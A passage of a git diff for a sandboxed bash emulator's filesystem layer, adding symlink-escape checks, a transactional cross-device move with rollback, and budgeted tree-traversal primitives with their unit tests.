+        throw new Error(`ENOENT: no such file or directory, cp '${src}'`);
+      }
+      this.sanitizeError(e, src, "cp");
+    }
+    if (
+      srcStat.isDirectory() &&
+      isPathWithinRoot(destCanonical, srcCanonical)
+    ) {
+      throw new Error(`EINVAL: cannot copy '${src}' into itself, '${dest}'`);
+    }
+
+    try {
+      await this.preflightCopyTree(srcCanonical, src);
+    } catch (e) {
+      this.sanitizeError(e, src, "cp");
+    }
 
     try {
       await fs.promises.cp(srcCanonical, destCanonical, {
@@ -437,19 +474,27 @@ export class ReadWriteFs implements IFileSystem {
               const resolved = await fs.promises
                 .realpath(source)
                 .catch(() => null);
-              if (resolved === null) return false;
-              return isPathWithinRoot(resolved, this.canonicalRoot);
+              if (
+                resolved === null ||
+                !isPathWithinRoot(resolved, this.canonicalRoot)
+              ) {
+                throw new Error(
+                  `EACCES: permission denied, cp '${src}' contains an unsafe symlink`,
+                );
+              }
+              return true;
             }
             return true;
           } catch (filterErr) {
-            // ENOENT: file disappeared between readdir and filter — let cp
-            // handle the error naturally (it will throw or skip as expected).
-            if ((filterErr as NodeJS.ErrnoException).code === "ENOENT") {
-              return true;
+            if (
+              (filterErr as Error).message?.includes("EACCES") ||
+              (filterErr as Error).message?.includes("unsafe symlink")
+            ) {
+              throw filterErr;
             }
-            // Other errors (EPERM, EIO, etc.): fail-closed — skip the entry
-            // since we can't determine if it's an escaping symlink.
-            return false;
+            // Never silently omit a source entry: that would turn cp and the
+            // EXDEV mv fallback into successful-looking partial operations.
+            throw new Error(`EIO: cp '${src}' could not validate source tree`);
           }
         },
       });
@@ -465,6 +510,46 @@ export class ReadWriteFs implements IFileSystem {
     }
   }
 
+  private async preflightCopyTree(
+    source: string,
+    virtualSource: string,
+    visited = new Set<string>(),
+  ): Promise<void> {
+    const stat = await fs.promises.lstat(source);
+    const identity = `${stat.dev}:${stat.ino}`;
+    if (visited.has(identity)) {
+      throw new Error(`ELOOP: cp '${virtualSource}' contains a cycle`);
+    }
+    if (stat.isSymbolicLink()) {
+      if (!this.allowSymlinks) {
+        throw new Error(
+          `EACCES: permission denied, cp '${virtualSource}' contains a symlink`,
+        );
+      }
+      const resolved = await fs.promises.realpath(source);
+      if (!isPathWithinRoot(resolved, this.canonicalRoot)) {
+        throw new Error(
+          `EACCES: permission denied, cp '${virtualSource}' contains an unsafe symlink`,
+        );
+      }
+      return;
+    }
+    if (!stat.isDirectory()) return;
+    visited.add(identity);
+    try {
+      const entries = await fs.promises.readdir(source);
+      for (const entry of entries) {
+        await this.preflightCopyTree(
+          nodePath.join(source, entry),
+          virtualSource,
+          visited,
+        );
+      }
+    } finally {
+      visited.delete(identity);
+    }
+  }
+
   async mv(src: string, dest: string): Promise<void> {
     validatePath(src, "mv");
     validatePath(dest, "mv");
@@ -475,12 +560,27 @@ export class ReadWriteFs implements IFileSystem {
     // resolveAndValidate would resolve through symlinks, breaking symlink moves.
     const srcCanonical = this.validateParent(srcReal, src);
     const destCanonical = this.validateParent(destReal, dest);
+    let sourceStat: fs.Stats;
+    try {
+      sourceStat = await fs.promises.lstat(srcCanonical);
+    } catch (e) {
+      const err = e as NodeJS.ErrnoException;
+      if (err.code === "ENOENT") {
+        throw new Error(`ENOENT: no such file or directory, mv '${src}'`);
+      }
+      this.sanitizeError(e, src, "mv");
+    }
+    if (
+      sourceStat.isDirectory() &&
+      this.isSameOrDescendantIdentity(srcCanonical, destCanonical)
+    ) {
+      throw new Error(`EINVAL: cannot move '${src}' into itself, '${dest}'`);
+    }
 
     // Check if source is a symlink - if so, validate that its target
     // will still be valid after the move (prevents mv+symlink escape)
     try {
-      const srcStat = await fs.promises.lstat(srcCanonical);
-      if (srcStat.isSymbolicLink()) {
+      if (sourceStat.isSymbolicLink()) {
         const target = await fs.promises.readlink(srcCanonical);
         // Resolve the target relative to the destination location
         const resolvedTarget = nodePath.resolve(
@@ -527,8 +627,7 @@ export class ReadWriteFs implements IFileSystem {
       }
       // If rename fails across devices, fall back to copy + delete
       if (err.code === "EXDEV") {
-        await this.cp(src, dest, { recursive: true });
-        await this.rm(src, { recursive: true });
+        await this.moveAcrossDevices(src, dest);
         return;
       }
       this.sanitizeError(e, src, "mv");
@@ -556,7 +655,131 @@ export class ReadWriteFs implements IFileSystem {
       ) {
         throw e;
       }
-      // Ignore stat errors (e.g., dest is a file not a directory)
+      // A scan failure cannot be treated as proof that the moved tree is safe.
+      await fs.promises.rename(destCanonical, srcCanonical).catch(() => {});
+      this.sanitizeError(e, dest, "mv");
+    }
+  }
+
+  /** Compare canonical path identity, not user-visible lexical spelling. */
+  private isSameOrDescendantIdentity(
+    srcReal: string,
+    destReal: string,
+  ): boolean {
+    let canonicalSource = srcReal;
+    let canonicalDestination = destReal;
+    try {
+      canonicalSource = fs.realpathSync(srcReal);
+    } catch {
+      // The caller's lstat reports the useful virtual-path error.
+    }
+    try {
+      canonicalDestination = fs.realpathSync(destReal);
+    } catch {
+      try {
+        const canonicalParent = fs.realpathSync(nodePath.dirname(destReal));
+        canonicalDestination = nodePath.join(
+          canonicalParent,
+          nodePath.basename(destReal),
+        );
+      } catch {
+        // validateParent already supplied the best canonical destination.
+      }
+    }
+    return isPathWithinRoot(canonicalDestination, canonicalSource);
+  }
+
+  private async uniqueTransactionPath(
+    path: string,
+    purpose: "stage" | "backup" | "source",
+  ): Promise<string> {
+    const parent = nodePath.posix.dirname(path);
+    for (let attempts = 0; attempts < 100; attempts++) {
+      const id = this.transactionId++;
+      const candidate = nodePath.posix.join(
+        parent,
+        `.just-bash-mv-${purpose}-${id}`,
+      );
+      if (!(await this.exists(candidate))) return candidate;
+    }
+    throw new Error(`EEXIST: mv '${path}'`);
+  }
+
+  /**
+   * Transactional EXDEV fallback. The destination is assembled under a hidden
+   * sibling, then committed by rename. Source removal is also staged by rename,
+   * so failures can restore both visible names without claiming atomicity.
+   */
+  private async moveAcrossDevices(src: string, dest: string): Promise<void> {
+    const stage = await this.uniqueTransactionPath(dest, "stage");
+    const backup = await this.uniqueTransactionPath(dest, "backup");
+    const sourceTombstone = await this.uniqueTransactionPath(src, "source");
+    const stageReal = this.validateParent(this.toRealPath(stage), stage);
+    const backupReal = this.validateParent(this.toRealPath(backup), backup);
+    const sourceReal = this.validateParent(this.toRealPath(src), src);
+    const sourceTombstoneReal = this.validateParent(
+      this.toRealPath(sourceTombstone),
+      sourceTombstone,
+    );
+    const destReal = this.validateParent(this.toRealPath(dest), dest);
+    let destinationBackedUp = false;
+    let destinationCommitted = false;
+    let sourceStaged = false;
+
+    const rollback = async (): Promise<void> => {
+      if (sourceStaged) {
+        await fs.promises
+          .rename(sourceTombstoneReal, sourceReal)
+          .catch(() => {});
+      }
+      if (destinationCommitted) {
+        await fs.promises
+          .rm(destReal, { recursive: true, force: true })
+          .catch(() => {});
+      }
+      if (destinationBackedUp) {
+        await fs.promises.rename(backupReal, destReal).catch(() => {});
+      }
+      await fs.promises
+        .rm(stageReal, { recursive: true, force: true })
+        .catch(() => {});
+    };
+
+    try {
+      // cp performs the complete traversal and symlink policy checks before any
+      // visible destination name is changed.
+      await this.cp(src, stage, { recursive: true });
+      if (this.findEscapingSymlinks(stageReal).length > 0) {
+        throw new Error(
+          `EACCES: permission denied, mv '${src}' -> '${dest}' would create symlinks escaping sandbox`,
+        );
+      }
+      try {
+        await fs.promises.rename(destReal, backupReal);
+        destinationBackedUp = true;
+      } catch (e) {
+        if ((e as NodeJS.ErrnoException).code !== "ENOENT") throw e;
+      }
+      await fs.promises.rename(stageReal, destReal);
+      destinationCommitted = true;
+      await fs.promises.rename(sourceReal, sourceTombstoneReal);
+      sourceStaged = true;
+      await fs.promises.rm(sourceTombstoneReal, {
+        recursive: true,
+        force: false,
+      });
+      sourceStaged = false;
+      if (destinationBackedUp) {
+        // The move is fully committed once the source tombstone is gone.
+        // Backup cleanup cannot be allowed to roll back the only remaining
+        // complete copy, so treat failure here as non-fatal garbage collection.
+        await fs.promises
+          .rm(backupReal, { recursive: true, force: true })
+          .catch(() => {});
+      }
+    } catch (e) {
+      await rollback();
+      this.sanitizeError(e, src, "mv");
     }
   }
 
@@ -585,33 +808,26 @@ export class ReadWriteFs implements IFileSystem {
    */
   private findEscapingSymlinks(dir: string): string[] {
     const escaping: string[] = [];
-    try {
-      const entries = fs.readdirSync(dir);
-      for (const entry of entries) {
-        const entryPath = nodePath.join(dir, entry);
+    const entries = fs.readdirSync(dir);
+    for (const entry of entries) {
+      const entryPath = nodePath.join(dir, entry);
+      const stat = fs.lstatSync(entryPath);
+      if (stat.isSymbolicLink()) {
+        const target = fs.readlinkSync(entryPath);
+        const resolvedTarget = nodePath.resolve(dir, target);
+        let canonicalTarget: string;
         try {
-          const stat = fs.lstatSync(entryPath);
-          if (stat.isSymbolicLink()) {
-            const target = fs.readlinkSync(entryPath);
-            const resolvedTarget = nodePath.resolve(dir, target);
-            let canonicalTarget: string;
-            try {
-              canonicalTarget = fs.realpathSync(resolvedTarget);
-            } catch {
-              canonicalTarget = resolvedTarget;
-            }
-            if (!isPathWithinRoot(canonicalTarget, this.canonicalRoot)) {
-              escaping.push(entryPath);
-            }
-          } else if (stat.isDirectory()) {
-            escaping.push(...this.findEscapingSymlinks(entryPath));
-          }
-        } catch {
-          // Skip entries we can't stat
+          canonicalTarget = fs.realpathSync(resolvedTarget);
+        } catch (error) {
+          if ((error as NodeJS.ErrnoException).code !== "ENOENT") throw error;
+          canonicalTarget = resolvedTarget;
         }
+        if (!isPathWithinRoot(canonicalTarget, this.canonicalRoot)) {
+          escaping.push(entryPath);
+        }
+      } else if (stat.isDirectory()) {
+        escaping.push(...this.findEscapingSymlinks(entryPath));
       }
-    } catch {
-      // Skip directories we can't read
     }
     return escaping;
   }
diff --git a/packages/just-bash/src/fs/real-fs-utils.test.ts b/packages/just-bash/src/fs/real-fs-utils.test.ts
index c3685535..ed16a7e1 100644
--- a/packages/just-bash/src/fs/real-fs-utils.test.ts
+++ b/packages/just-bash/src/fs/real-fs-utils.test.ts
@@ -119,12 +119,9 @@ describe("isPathWithinRoot", () => {
     expect(isPathWithinRoot("/", "/")).toBe(true);
   });
 
-  it("root=/ child check requires startsWith(//), so /anything is false", () => {
-    // This is a known edge case: isPathWithinRoot is a low-level primitive
-    // that checks `startsWith(root + "/")`. When root="/", the check becomes
-    // `startsWith("//")`, which is intentionally strict. Callers that mount
-    // at "/" handle this separately (OverlayFs uses getRelativeToMount).
-    expect(isPathWithinRoot("/anything", "/")).toBe(false);
+  it("recognizes children of the filesystem root", () => {
+    expect(isPathWithinRoot("/anything", "/")).toBe(true);
+    expect(isPathWithinRoot("/tmp/nested", "/")).toBe(true);
   });
 
   it("handles root with trailing component match", () => {
diff --git a/packages/just-bash/src/fs/real-fs-utils.ts b/packages/just-bash/src/fs/real-fs-utils.ts
index e2a5d2c7..04509678 100644
--- a/packages/just-bash/src/fs/real-fs-utils.ts
+++ b/packages/just-bash/src/fs/real-fs-utils.ts
@@ -14,7 +14,11 @@ import * as fs from "node:fs";
 import * as nodePath from "node:path";
 
 // Re-export path utilities used by callers that import from real-fs-utils.
-export { normalizePath, validatePath } from "./path-utils.js";
+export {
+  isSameOrDescendantPath,
+  normalizePath,
+  validatePath,
+} from "./path-utils.js";
 
 /**
  * Check whether `resolved` is equal to, or a child of, `canonicalRoot`.
@@ -25,9 +29,16 @@ export function isPathWithinRoot(
   resolved: string,
   canonicalRoot: string,
 ): boolean {
-  if (resolved === canonicalRoot) return true;
-  const sep = resolved[canonicalRoot.length];
-  return (sep === "/" || sep === "\\") && resolved.startsWith(canonicalRoot);
+  const pathApi = /^[A-Za-z]:[\\/]/.test(canonicalRoot)
+    ? nodePath.win32
+    : nodePath.posix;
+  const relative = pathApi.relative(canonicalRoot, resolved);
+  return (
+    relative === "" ||
+    (relative !== ".." &&
+      !relative.startsWith(`..${pathApi.sep}`) &&
+      !pathApi.isAbsolute(relative))
+  );
 }
 
 /**
diff --git a/packages/just-bash/src/fs/traversal.test.ts b/packages/just-bash/src/fs/traversal.test.ts
new file mode 100644
index 00000000..22345ae0
--- /dev/null
+++ b/packages/just-bash/src/fs/traversal.test.ts
@@ -0,0 +1,199 @@
+import { describe, expect, it } from "vitest";
+import {
+  ExecutionAbortedError,
+  ExecutionLimitError,
+} from "../interpreter/errors.js";
+import { resolveLimits } from "../limits.js";
+import { InMemoryFs } from "./in-memory-fs/in-memory-fs.js";
+import type { FsStat } from "./interface.js";
+import {
+  canonicalizePath,
+  compareCanonicalContainment,
+  compareFileIdentity,
+  FileSystemPolicyError,
+  resolveFileIdentity,
+  traverseFileTree,
+} from "./traversal.js";
+
+class IdentitylessFs extends InMemoryFs {
+  override async stat(path: string): Promise<FsStat> {
+    const {
+      identity: _identity,
+      dev: _dev,
+      ino: _ino,
+      ...stat
+    } = await super.stat(path);
+    return stat;
+  }
+}
+
+class NoRealpathFs extends InMemoryFs {
+  override async realpath(_path: string): Promise<string> {
+    throw new Error("ENOTSUP: realpath unavailable");
+  }
+}
+
+describe("filesystem traversal primitives", () => {
+  it("walks deep trees iteratively in deterministic order", async () => {
+    const fs = new InMemoryFs({
+      "/root/z/file": "z",
+      "/root/a/file": "a",
+    });
+    const paths: string[] = [];
+
+    await traverseFileTree(
+      { fs, root: "/root", limits: resolveLimits(), site: "test" },
+      (entry) => {
+        if (entry.phase === "enter") paths.push(entry.path);
+      },
+    );
+
+    expect(paths).toEqual([
+      "/root",
+      "/root/a",
+      "/root/a/file",
+      "/root/z",
+      "/root/z/file",
+    ]);
+  });
+
+  it("detects a followed symlink cycle by stable directory identity", async () => {
+    const fs = new InMemoryFs({ "/root/file": "ok" });
+    await fs.symlink("/root", "/root/back");
+
+    await expect(
+      traverseFileTree(
+        {
+          fs,
+          root: "/root",
+          limits: resolveLimits(),
+          site: "test",
+          symlinks: "follow",
+        },
+        () => undefined,
+      ),
+    ).rejects.toBeInstanceOf(FileSystemPolicyError);
+  });
+
+  it("fails before visiting beyond the configured entry budget", async () => {
+    const fs = new InMemoryFs({
+      "/root/a": "a",
+      "/root/b": "b",
+      "/root/c": "c",
+    });
+    let visits = 0;
+
+    await expect(
+      traverseFileTree(
+        {
+          fs,
+          root: "/root",
+          limits: resolveLimits({ maxTraversalEntries: 2 }),
+          site: "test",
+        },
+        () => {
+          visits++;
+        },
+      ),
+    ).rejects.toBeInstanceOf(ExecutionLimitError);
+    expect(visits).toBe(2);
+  });
+
+  it("observes cancellation between filesystem operations", async () => {
+    const fs = new InMemoryFs({ "/root/a": "a" });
+    const controller = new AbortController();
+    controller.abort();
+
+    await expect(
+      traverseFileTree(
+        {
+          fs,
+          root: "/root",
+          limits: resolveLimits(),
+          signal: controller.signal,
+          site: "test",
+        },
+        () => undefined,
+      ),
+    ).rejects.toBeInstanceOf(ExecutionAbortedError);
+  });
+
+  it("proves hard-link aliases and keeps unrelated files distinct", async () => {
+    const fs = new InMemoryFs({ "/a": "same", "/other": "same" });
+    await fs.link("/a", "/alias");
+
+    await expect(compareFileIdentity(fs, "/a", "/alias")).resolves.toBe("same");
+    await expect(compareFileIdentity(fs, "/a", "/other")).resolves.toBe(
+      "different",
+    );
+  });
+
+  it("detects a destination below a canonical directory alias", async () => {
+    const fs = new InMemoryFs({ "/source/file": "same", "/other/file": "x" });
+    await fs.symlink("/source", "/alias");
+
+    await expect(
+      compareCanonicalContainment(fs, "/source", "/alias/new"),
+    ).resolves.toBe("inside");
+    await expect(
+      compareCanonicalContainment(fs, "/source", "/other/new"),
+    ).resolves.toBe("outside");
+  });
+
+  it("canonicalizes every missing component below the nearest existing parent", async () => {
+    const fs = new InMemoryFs({ "/real/anchor": "x" });
+    await fs.symlink("/real", "/alias");
+
+    await expect(
+      resolveFileIdentity(fs, "/alias/new/deep/file"),
+    ).resolves.toMatchObject({
+      existence: "missing",
+      canonicalPath: "/real/new/deep/file",
+    });
+  });
+
+  it("distinguishes a missing destination from unknown existing identity", async () => {
+    const fs = new IdentitylessFs({ "/source": "a", "/target": "b" });
+
+    await expect(compareFileIdentity(fs, "/source", "/new")).resolves.toBe(
+      "different",
+    );
+    await expect(compareFileIdentity(fs, "/source", "/target")).resolves.toBe(
+      "unknown",
+    );
+  });
+
+  it("uses stable identity when a backend has no realpath support", async () => {
+    const fs = new NoRealpathFs({ "/source": "a" });
+    await fs.link("/source", "/alias");
+
+    await expect(compareFileIdentity(fs, "/source", "/alias")).resolves.toBe(
+      "same",
+    );
+    await expect(compareFileIdentity(fs, "/source", "/new")).resolves.toBe(
+      "different",
+    );
+    await expect(compareCanonicalContainment(fs, "/", "/new")).resolves.toBe(
+      "unknown",
+    );
+  });
+
+  it("brands only canonical paths inside the policy root", async () => {
+    const fs = new InMemoryFs({
+      "/allowed/file": "ok",
+      "/outside/file": "no",
+    });
+    await expect(
+      canonicalizePath(fs, "/allowed/file", {
+        name: "fixture",
+        root: "/allowed",
+      }),
+    ).resolves.toBe("/allowed/file");
+    await expect(
+      canonicalizePath(fs, "/outside/file", {
+        name: "fixture",
+        root: "/allowed",
+      }),
+    ).rejects.toBeInstanceOf(FileSystemPolicyError);
+  });
+});
diff --git a/packages/just-bash/src/fs/traversal.ts b/packages/just-bash/src/fs/traversal.ts
new file mode 100644
index 00000000..09d0bea3
--- /dev/null
+++ b/packages/just-bash/src/fs/traversal.ts
@@ -0,0 +1,412 @@
+import type { CommandExecutionBudget } from "../execution-scope.js";
+import {
+  ExecutionAbortedError,
+  ExecutionLimitError,
+} from "../interpreter/errors.js";
+import type { ExecutionLimits } from "../limits.js";
+import type { FsStat, IFileSystem } from "./interface.js";
+import {
+  dirname,
+  isSameOrDescendantPath,
+  joinPath,
+  normalizePath,
+} from "./path-utils.js";
+import { sanitizeErrorMessage } from "./sanitize-error.js";
+
+declare const canonicalPathBrand: unique symbol;
+
+/** A canonical virtual path proven to be inside a particular validation root. */
+export type CanonicalPath<Policy extends string = string> = string & {
+  readonly [canonicalPathBrand]: Policy;
+};
+
+export interface CanonicalPathPolicy<Policy extends string> {
+  readonly name: Policy;
+  readonly root: string;
+}
+
+export async function canonicalizePath<Policy extends string>(
+  fs: IFileSystem,
+  path: string,
+  policy: CanonicalPathPolicy<Policy>,
+): Promise<CanonicalPath<Policy>> {
+  const canonical = normalizePath(await fs.realpath(path));
+  if (!isSameOrDescendantPath(policy.root, canonical)) {
+    throw new FileSystemPolicyError(
+      "canonicalize",
+      path,
+      "path resolves outside the permitted root",
+    );
+  }
+  return canonical as CanonicalPath<Policy>;
+}
+
+export class FileSystemPolicyError extends Error {
+  readonly name = "FileSystemPolicyError";
+
+  constructor(
+    readonly operation: string,
+    readonly virtualPath: string,
+    message: string,
+  ) {
+    super(`${operation}: ${sanitizeErrorMessage(message)}`);
+  }
+}
+
+export type SameFileResult = "same" | "different" | "unknown";
+export type PathContainmentResult = "inside" | "outside" | "unknown";
+
+export type ResolvedFileIdentity =
+  | {
+      readonly existence: "existing";
+      readonly canonicalPath?: string;
+      readonly stableIdentity?: string;
+    }
+  | {
+      readonly existence: "missing";
+      /** Canonical nearest-existing parent plus every missing path component. */
+      readonly canonicalPath?: string;
+    }
+  | { readonly existence: "unknown" };
+
+function statIdentity(stat: FsStat): string | undefined {
+  if (stat.identity !== undefined) return `identity:${stat.identity}`;
+  if (stat.dev !== undefined && stat.ino !== undefined) {
+    return `inode:${String(stat.dev)}:${String(stat.ino)}`;
+  }
+  return undefined;
+}
+
+function isMissingPathError(error: unknown): boolean {
+  const message = error instanceof Error ? error.message : String(error);
+  return message.includes("ENOENT") || message.includes("no such file");
+}
+
+/**
+ * Resolve an existing path to both its canonical spelling and, where the
+ * backend supports it, an alias-resistant identity. For a path that does not
+ * exist, canonicalize the nearest existing parent and append all missing
+ * components. Other failures remain unknown rather than being treated as
+ * non-existence.
+ */
+export async function resolveFileIdentity(
+  fs: IFileSystem,
+  path: string,
+  budget?: FileTraversalBudget,
+): Promise<ResolvedFileIdentity> {
+  const normalized = normalizePath(path);
+  let stat: FsStat | undefined;
+  try {
+    stat = await fs.stat(normalized);
+  } catch (error) {
+    if (!isMissingPathError(error)) return { existence: "unknown" };
+  }
+  if (stat !== undefined) {
+    const stableIdentity = statIdentity(stat);
+    try {
+      return {
+        existence: "existing",
+        canonicalPath: normalizePath(await fs.realpath(normalized)),
+        stableIdentity,
+      };
+    } catch {
+      return stableIdentity === undefined
+        ? { existence: "unknown" }
+        : { existence: "existing", stableIdentity };
+    }
+  }
+
+  const missingComponents: string[] = [];
+  let candidate = normalized;
+  while (true) {
+    budget?.checkpoint();
+    const parent = dirname(candidate);
+    if (parent === candidate) return { existence: "unknown" };
+    missingComponents.unshift(
+      candidate.slice(parent === "/" ? 1 : parent.length + 1),
+    );
+    candidate = parent;
+    try {
+      const canonicalParent = normalizePath(await fs.realpath(candidate));
+      return {
+        existence: "missing",
+        canonicalPath: missingComponents.reduce(
+          (current, component) => joinPath(current, component),
+          canonicalParent,
+        ),
+      };
+    } catch (error) {
+      if (!isMissingPathError(error)) return { existence: "missing" };
+    }
+  }
+}
+
+/**
+ * Conservatively compare two paths. `unknown` forces destructive callers to
+ * stage work instead of treating an inability to prove identity as inequality.
+ */
+export async function compareFileIdentity(
+  fs: IFileSystem,
+  left: string,
+  right: string,
+): Promise<SameFileResult> {
+  const [leftIdentity, rightIdentity] = await Promise.all([
+    resolveFileIdentity(fs, left),
+    resolveFileIdentity(fs, right),
+  ]);
+  if (
+    leftIdentity.existence === "unknown" ||
+    rightIdentity.existence === "unknown"
+  ) {
+    return "unknown";
+  }
+  if (
+    leftIdentity.existence === "missing" ||
+    rightIdentity.existence === "missing"
+  ) {
+    if (leftIdentity.existence !== rightIdentity.existence) return "different";
+    return leftIdentity.canonicalPath !== undefined &&
+      leftIdentity.canonicalPath === rightIdentity.canonicalPath
+      ? "same"
+      : "unknown";
+  }
+  if (
+    leftIdentity.stableIdentity !== undefined &&
+    rightIdentity.stableIdentity !== undefined
+  ) {
+    return leftIdentity.stableIdentity === rightIdentity.stableIdentity
+      ? "same"
+      : "different";
+  }
+  // Equal canonical paths prove sameness. Different spellings do not prove
+  // inequality without alias-resistant identities because they may be hard
+  // links to the same inode.
+  return leftIdentity.canonicalPath !== undefined &&
+    leftIdentity.canonicalPath === rightIdentity.canonicalPath
+    ? "same"
+    : "unknown";
+}
+
+/**
+ * Resolve an existing destination or its nearest existing parent before a
+ * recursive copy/move. This closes lexical-prefix gaps created by directory
+ * aliases while retaining `unknown` for backends that cannot prove it.
+ */
+export async function compareCanonicalContainment(
+  fs: IFileSystem,
+  sourceDirectory: string,
+  destination: string,
+  budget?: FileTraversalBudget,
+): Promise<PathContainmentResult> {
+  const [source, candidate] = await Promise.all([
+    resolveFileIdentity(fs, sourceDirectory, budget),
+    resolveFileIdentity(fs, destination, budget),
+  ]);
+  if (
+    source.existence !== "existing" ||
+    source.canonicalPath === undefined ||
+    candidate.existence === "unknown" ||
+    candidate.canonicalPath === undefined
+  ) {
+    return "unknown";
+  }
+  return isSameOrDescendantPath(source.canonicalPath, candidate.canonicalPath)
+    ? "inside"
+    : "outside";
+}
+
+export type SymlinkTraversalPolicy = "never" | "follow";
+
+export interface TraversalBudgetOptions {
+  readonly limits: Required<ExecutionLimits>;
+  readonly signal?: AbortSignal;
+  readonly executionScope?: CommandExecutionBudget;
+  readonly site: string;
+  /** User-facing resource name for commands with established diagnostics. */
+  readonly label?: string;
+}
+
+/** One shared, command-local view over the top-level execution work budget. */
+export class FileTraversalBudget {
+  private entries = 0;
+  private discoveredEntries = 1;
+  private work = 0;
+
+  constructor(private readonly options: TraversalBudgetOptions) {}
+
+  checkpoint(work = 1): void {
+    if (this.options.signal?.aborted) throw new ExecutionAbortedError();
+    this.options.executionScope?.throwIfAborted(this.options.site);
+    if (
+      !Number.isSafeInteger(work) ||
+      work < 0 ||
+      work > this.options.limits.maxTraversalWork - this.work
+    ) {
+      throw new ExecutionLimitError(
+        `${this.options.site}: ${this.options.label ?? "filesystem traversal work"} limit exceeded (${this.options.limits.maxTraversalWork})`,
+        "iterations",
+      );
+    }
+    this.work += work;
+    this.options.executionScope?.consumeWork(
+      work,
+      `${this.options.site} filesystem traversal`,
+    );
+  }
+
+  visit(depth: number): void {
+    this.checkpoint();
+    if (depth > this.options.limits.maxTraversalDepth) {
+      throw new ExecutionLimitError(
+        `${this.options.site}: ${this.options.label ?? "filesystem traversal"} depth limit exceeded (${this.options.limits.maxTraversalDepth})`,
+        "recursion",
+      );
+    }
+    if (++this.entries > this.options.limits.maxTraversalEntries) {
+      throw new ExecutionLimitError(
+        `${this.options.site}: ${this.options.label ?? "filesystem traversal"} entry limit exceeded (${this.options.limits.maxTraversalEntries})`,
+        "iterations",
+      );
+    }
+  }
+
+  /**
+   * Reserve directory children before retaining work items for them. A single
+   * readdir can return far more entries than the traversal is allowed to
+   * process, so waiting until each child is visited permits an oversized queue
+   * allocation first.
+   */
+  discover(count: number): void {
+    if (
+      !Number.isSafeInteger(count) ||
+      count < 0 ||
+      count > this.options.limits.maxTraversalEntries - this.discoveredEntries
+    ) {
+      throw new ExecutionLimitError(
+        `${this.options.site}: ${this.options.label ?? "filesystem traversal"} entry limit exceeded (${this.options.limits.maxTraversalEntries})`,
+        "iterations",
+      );
+    }
+    this.checkpoint(count);
+    this.discoveredEntries += count;
+  }
+}
+
+export interface TraversalEntry {
+  readonly path: string;
+  readonly depth: number;
+  readonly stat: FsStat;
+  readonly isSymlink: boolean;
+  readonly phase: "enter" | "leave";
+}
+
+export interface TraverseFileTreeOptions extends TraversalBudgetOptions {
+  readonly fs: IFileSystem;
+  readonly root: string;
+  readonly symlinks?: SymlinkTraversalPolicy;
+  readonly includeLeave?: boolean;
+  readonly budget?: FileTraversalBudget;
+}
+
+type StackItem =
+  | { readonly kind: "enter"; readonly path: string; readonly depth: number }
+  | {
+      readonly kind: "leave";
+      readonly path: string;
+      readonly depth: number;
+      readonly stat: FsStat;
+      readonly isSymlink: boolean;
+      readonly identity?: string;
+    };
+
+/**
+ * Iterative, deterministic DFS. Directory identities stay active until their
+ * leave marker, detecting ancestor symlink cycles without suppressing valid
+ * aliases in separate branches.
+ */
+export async function traverseFileTree(
+  options: TraverseFileTreeOptions,
+  visitor: (entry: TraversalEntry) => void | Promise<void>,
+): Promise<void> {
+  const budget = options.budget ?? new FileTraversalBudget(options);
+  const stack: StackItem[] = [
+    { kind: "enter", path: normalizePath(options.root), depth: 0 },
+  ];
+  const activeDirectories = new Set<string>();
+
+  while (stack.length > 0) {
+    budget.checkpoint(0);
+    const item = stack.pop();
+    if (!item) break;
+
+    if (item.kind === "leave") {
+      if (options.includeLeave) {
+        await visitor({
+          path: item.path,
+          depth: item.depth,
+          stat: item.stat,
+          isSymlink: item.isSymlink,
+          phase: "leave",
+        });
+      }
+      if (item.identity) activeDirectories.delete(item.identity);
+      continue;
+    }
+
+    budget.visit(item.depth);
+    const lstat = await options.fs.lstat(item.path);
+    const isSymlink = lstat.isSymbolicLink;
+    const stat =
+      isSymlink && options.symlinks === "follow"
+        ? await options.fs.stat(item.path)
+        : lstat;
+
+    await visitor({
+      path: item.path,
+      depth: item.depth,
+      stat,
+      isSymlink,
+      phase: "enter",
+    });
+
+    if (!stat.isDirectory || (isSymlink && options.symlinks !== "follow")) {
+      continue;
+    }
+
+    const identity =
+      statIdentity(stat) ??
+      (await options.fs
+        .realpath(item.path)
+        .then(normalizePath)
+        .catch(() => undefined));
+    if (identity !== undefined) {
+      if (activeDirectories.has(identity)) {
+        throw new FileSystemPolicyError(
+          options.site,
+          item.path,
+          "symbolic-link directory cycle detected",
+        );
+      }
+      activeDirectories.add(identity);
+    }
+
+    stack.push({
+      kind: "leave",
+      path: item.path,
+      depth: item.depth,
+      stat,
+      isSymlink,
+      identity,
+    });
+    const names = await options.fs.readdir(item.path);
+    budget.checkpoint();
+    names.sort((a, b) => a.localeCompare(b));
+    for (let index = names.length - 1; index >= 0; index--) {
+      stack.push({
+        kind: "enter",
+        path: joinPath(item.path, names[index]),
+        depth: item.depth + 1,
+      });
+    }
+  }
+}
diff --git a/packages/just-bash/src/index.ts b/packages/just-bash/src/index.ts
index 25cb261d..27ed46e9 100644
--- a/packages/just-bash/src/index.ts
+++ b/packages/just-bash/src/index.ts
@@ -28,8 +28,15 @@ export {
   getPythonCommandNames,
 } from "./commands/registry.js";
 // Custom commands API
-export type { CustomCommand, LazyCommand } from "./custom-commands.js";
-export { defineCommand } from "./custom-commands.js";
+export type {
+  CommandContextOptions,
+  CustomCommand,
+  LazyCommand,
+} from "./custom-commands.js";
+export {
+  createCommandContext,
+  defineCommand,
+} from "./custom-commands.js";
 // Byte/text boundary helpers — required by custom commands that read
 // `ctx.stdin` (an opaque `ByteString`).
 export type { ByteString, OutputKind } from "./encoding.js";
@@ -99,6 +106,7 @@ export type {
   DefenseInDepthConfig,
   DefenseInDepthHandle,
   DefenseInDepthStats,
+  DefenseInDepthStatus,
   SecurityViolation,
   SecurityViolationType,
 } from "./security/index.js";
@@ -131,4 +139,5 @@ export type {
   CommandContext,
   ExecResult,
   IFileSystem,
+  ResolvedCommandContext,
 } from "./types.js";
diff --git a/packages/just-bash/src/interpreter/alias-expansion.ts b/packages/just-bash/src/interpreter/alias-expansion.ts
index 8b29739e..16ae17e5 100644
--- a/packages/just-bash/src/interpreter/alias-expansion.ts
+++ b/packages/just-bash/src/interpreter/alias-expansion.ts
@@ -11,8 +11,10 @@
  */
 
 import type { ScriptNode, SimpleCommandNode, WordNode } from "../ast/types.js";
+import { utf8ByteLength } from "../commands/printf/escapes.js";
 import { Parser } from "../parser/parser.js";
 import { ParseException } from "../parser/types.js";
+import { ExecutionLimitError } from "./errors.js";
 
 /**
  * Alias prefix used in environment variables
